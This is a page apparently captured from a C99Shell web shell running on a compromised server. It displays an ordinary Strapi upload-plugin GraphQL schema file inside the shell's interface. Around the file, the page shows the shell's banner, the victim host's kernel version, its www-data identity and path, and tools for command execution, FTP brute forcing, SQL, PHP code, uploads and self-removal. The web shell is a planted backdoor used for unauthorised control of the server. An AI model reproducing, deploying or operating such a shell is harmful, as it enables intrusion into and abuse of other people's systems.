!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-plugin-upload/config/   drwxr-xr-x
Free 12.95 GB of 57.97 GB (22.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     schema.graphql.js (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const _ = require('lodash');
const { streamToBuffer } = require('../utils/file');

module.exports = {
  definition: `
    input FileInfoInput {
      name: String
      alternativeText: String
      caption: String
    }
  `,
  mutation: `
    upload(refId: ID, ref: String, field: String, source: String, info: FileInfoInput, file: Upload!): UploadFile!
    multipleUpload(refId: ID, ref: String, field: String, source: String, files: [Upload]!): [UploadFile]!
    updateFileInfo(id: ID!, info: FileInfoInput!): UploadFile!
  `,
  resolver: {
    Query: {
      file: false,
      files: {
        resolver: 'plugins::upload.upload.find',
      },
    },
    Mutation: {
      createFile: false,
      updateFile: false,
      upload: {
        description: 'Upload one file',
        resolverOf: 'plugins::upload.upload.upload',
        resolver: async (obj, { file: upload, info, ...fields }) => {
          const file = await formatFile(upload, info, fields);

          const uploadedFiles = await strapi.plugins.upload.services.upload.uploadFileAndPersist(
            file
          );

          // Return response.
          return uploadedFiles.length === 1 ? uploadedFiles[0] : uploadedFiles;
        },
      },
      multipleUpload: {
        description: 'Upload one file',
        resolverOf: 'plugins::upload.upload.upload',
        resolver: async (obj, { files: uploads, ...fields }) => {
          const files = await Promise.all(uploads.map(upload => formatFile(upload, {}, fields)));

          const uploadService = strapi.plugins.upload.services.upload;

          return Promise.all(files.map(file => uploadService.uploadFileAndPersist(file)));
        },
      },
      updateFileInfo: {
        description: 'Update file information',
        resolverOf: 'plugins::upload.upload.upload',
        resolver: async (obj, { id, info }) => {
          return await strapi.plugins.upload.services.upload.updateFileInfo(id, info);
        },
      },
      deleteFile: {
        description: 'Delete one file',
        resolverOf: 'plugins::upload.upload.destroy',
        resolver: async (obj, options, { context }) => {
          const file = await strapi.plugins.upload.services.upload.fetch({ id: context.params.id });
          if (file) {
            const fileResult = await strapi.plugins.upload.services.upload.remove(file);
            return { file: fileResult };
          }
        },
      },
    },
  },
};

const formatFile = async (upload, extraInfo, metas) => {
  const { filename, mimetype, createReadStream } = await upload;

  const { optimize } = strapi.plugins.upload.services['image-manipulation'];
  const readBuffer = await streamToBuffer(createReadStream());

  const { buffer, info } = await optimize(readBuffer);

  const uploadService = strapi.plugins.upload.services.upload;
  const fileInfo = uploadService.formatFileInfo(
    {
      filename,
      type: mimetype,
      size: buffer.length,
    },
    extraInfo || {},
    metas
  );

  return _.assign(fileInfo, info, { buffer });
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--